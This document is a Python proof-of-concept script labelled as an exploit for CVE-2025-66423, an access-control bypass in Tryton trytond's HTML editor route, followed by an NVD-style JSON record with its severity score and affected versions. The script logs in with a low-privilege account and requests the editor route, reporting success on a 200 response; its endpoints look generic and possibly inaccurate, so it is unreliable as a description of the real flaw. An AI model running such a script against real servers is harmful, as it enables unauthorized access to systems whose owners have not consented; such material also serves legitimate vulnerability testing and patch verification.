CVE-2025-66423

# CVE-2025-66423 PoC - Tryton trytond Access Control Bypass # Target: Tryton trytond < 7.6.11, < 7.4.21, < 7.0.40, < 6.0.70 import requests import json TARGET_URL = "http://target-tryton-server.com:8000" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_66423(): """ This PoC demonstrates the access control bypass in Tryton trytond's HTML editor route. The vulnerability allows low-privilege users to access HTML editor functionality without proper authorization. """ # Step 1: Login with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in with low-privilege account") # Step 2: Access HTML editor route (should be restricted) # The vulnerable route does not enforce access rights html_editor_url = f"{TARGET_URL}/html_editor" response = session.get(html_editor_url) # If we get a successful response (200), access control is bypassed if response.status_code == 200: print("[!] VULNERABLE: Access control bypassed!") print(f"[+] Accessed HTML editor with low-privilege user") print(f"Response: {response.text[:500]}") return True else: print("[-] Not vulnerable or patch applied") return False if __name__ == "__main__": exploit_cve_2025_66423()

{"cve": {"id": "CVE-2025-66423", "sourceIdentifier": "[email protected]", "published": "2025-11-30T03:15:48.163", "lastModified": "2025-12-04T17:10:35.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tryton trytond 6.0 before 7.6.11 does not enforce access rights for the route of the HTML editor. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.70", "matchCriteriaId": "4E811A8E-7C2B-414F-B929-7AF685F83092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.40", "matchCriteriaId": "179B2F4A-0AF8-4D72-A371-B0B7A2BD9FBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.21", "matchCriteriaId": "EC73A2FC-9781-4560-9C79-3A6627BF3A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.11", "matchCriteriaId": "899860ED-5426-4396-AF24-470DB633F208"}]}]}], "references": [{"url": "https://discuss.tryton.org/t/security-release-for-issue-14364/8952", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://foss.heptapod.net/tryton/tryton/-/issues/14364", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}